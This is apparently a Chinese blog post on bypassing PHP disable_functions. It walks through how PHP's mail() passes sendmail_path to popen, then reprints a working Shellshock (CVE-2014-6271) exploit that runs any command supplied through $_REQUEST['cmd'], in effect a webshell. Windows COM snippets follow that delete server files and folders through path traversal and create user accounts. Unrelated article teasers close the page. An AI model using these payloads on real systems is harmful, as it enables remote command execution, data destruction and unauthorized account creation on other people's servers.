PHP Execute Command Bypass Disable_functions
先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行:
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
注释中可以看到,send_mail默认值为"sendmail -t -i".
extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下:
if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
/* handle old style win smtp sending */
if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
if (tsm_errmsg) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
efree(tsm_errmsg);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
}
MAIL_RET(0);
}
MAIL_RET(1);
#else
MAIL_RET(0);
#endif
}
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
之后执行:
#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif
将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen就会丢给bash执行。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。
影响版本:php 各版本
修复方法:修复CVE-2014-6271
给出POC(http://www.exploit-db.com/exploits/35146/)如下:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
<?php
$mPath = str_repeat(“..”,20);
$FSOdelFile = new COM(‘Scripting.FileSystemObject’);
//利用了wshom.ocx
$FSOdelFile->DeleteFile($mPath.”.*.dat”, True);
//删除C区根目录的所有dat文件?> wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下: <?php
$mPath = str_repeat(“..”,20);
$FSOdelFolder = new COM(‘Scripting.FileSystemObject’);
//使用wshom.ocx
$FSOdelFolder->DeleteFolder($mPath.”.11″, True);
//删除特定的文件夹
?> 访问之后,成功删除了c:11这个文件夹。 shgina.dll中Create函数创建账户
这个漏洞的测试代码如下: <?php
$user = new COM(‘{60664CAF-AF0D-0004-A300-5C7D25FF22A0}’);
//利用shgina.dll$user->Create(“asd”);
//创建账户asd
?>
PHP Execute Command Bypass Disable_functions的更多相关文章
- ODOO-10.0 错误 Could not execute command 'lessc'
2017-01-05 20:24:12,473 4652 INFO None odoo.service.db: Create database `hello`. 2017-01-05 20:24:16 ...
- VS2010提示error TRK0002: Failed to execute command解决方法
昨天windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用VS2010编译时提示如下错误信息 TRACKER : error TRK0002: ...
- Failed to execute command: ""C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ResGen.exe" 的一个解决办法
最近在做wpf项目,期间下了一些源码参考,但是在build时经常遇到下面这种bug: Error 2 Failed to execute command: ""C:\Program ...
- Node.js log2: ERR when execute command >npm install
1.Node.js创建项目 项目microblog创建成功,提示:cd microblog& npm install 项目创建完成时的目录如下图所示: 2.Node.js错误 如题所言: E ...
- VS2010提示error TRK0002: Failed to execute command
转自VC错误:http://www.vcerror.com/?p=277 问题描述: windows8自动更新Microsoft .NET Framework 3.5和4.5.1安全更新程序,今天用V ...
- Unable to execute command or shell on remote system: Failed to Execute process
1.问题描述 先说下我的项目环境:jenkins部署在windows下面,项目部署也是在windows下面,ssh服务器是FreeSSHd,原来是打算用Send files or execute co ...
- shell function/for in/for (())/string concat/has dir/rename using regex/if(())/exit/execute command and pass value to variable/execute python
#!/bin/bash #remove the MER.*_ in file name for all the files in a dir function getdir(){ for elemen ...
- 安装Odoo9出现的could not execute command "lessc"问题
解决方案: apt-get install node-less
- 9.0 alpha 版安装出现 could not execute command lessc 的问题
解决方案: apt-get install node-less
随机推荐
- iOS 中使用Base64编码方式编码图片数据
最近一个项目要求对图片数据简单加密下,就是那种不能直接看到图片内容就行.于是我使用了base64编码对图片数据进行编码,把图片2进制数据变成了base64的字符串,再把这个字符串保存到server的数 ...
- POJ 2478 Farey Sequence(欧拉函数前n项和)
A - Farey Sequence Time Limit:1000MS Memory Limit:65536KB 64bit IO Format:%I64d & %I64u ...
- (五)转载:通用定时器PWM输出
1. TIMER输出PWM基本概念 脉冲宽度调制(PWM),是英文“Pulse Width Modulation”的缩写,简称脉宽调制,是利用微处理器的数字输出来对模拟电路进行控制的一种非常有 ...
- Linux多台服务器之间的文件共享
由于项目有个图片上传和导入导出的模块,所以当项目通过集群方式部署的时候就要考虑文件共享问题. 文件共享要么就是通过统一的文件系统来管理,要么就是在系统之间做文件共享,前者扩展性比较好,可以随时随地加服 ...
- ANT 环境搭建
一.ant的下载 ant是Apache的一个项目(http://ant.apache.org/),目前的最新版是1.8.4(http://ant.apache.org/bindownload.cg ...
- linux网络编程_1
本文属于转载,稍有改动,以利于学习. (一)Linux网络编程--网络知识介绍 Linux网络编程--网络知识介绍客户端和服务端 网络程序和普通的程序有一个最大的区别是网络程序是由两个 ...
- 学习 BigInteger
以下是摘抄与其他人的: JAVA之BigInteger 用Java来处理高精度问题,相信对很多ACMer来说都是一件很happy的事,简单易懂.用Java刷了一些题,感觉Java还不错,在处理高精度和 ...
- oracle 10g 学习之oracle管理(3)
怎样将预先写好的sql脚本执行? select * from employees;→107条记录 利用 Oracle 企业管理器连接数据库服务器 点击打开以下界面: 此时已经连接成功了 用 Oracl ...
- SQL 高级查询
WITH FINISHMAINT (FRAMENO,DELIVEREDDATE) AS ( SELECT DISTINCT RP.FRAMENO, MAX(PRC.DELIVEREDDATE) OVE ...
- Twitter search API
Twitter crawler 与sina 微博类似,使用twitter api之前,首先要有twitter的账号,在twitter developer中创建应用(https://apps.twitt ...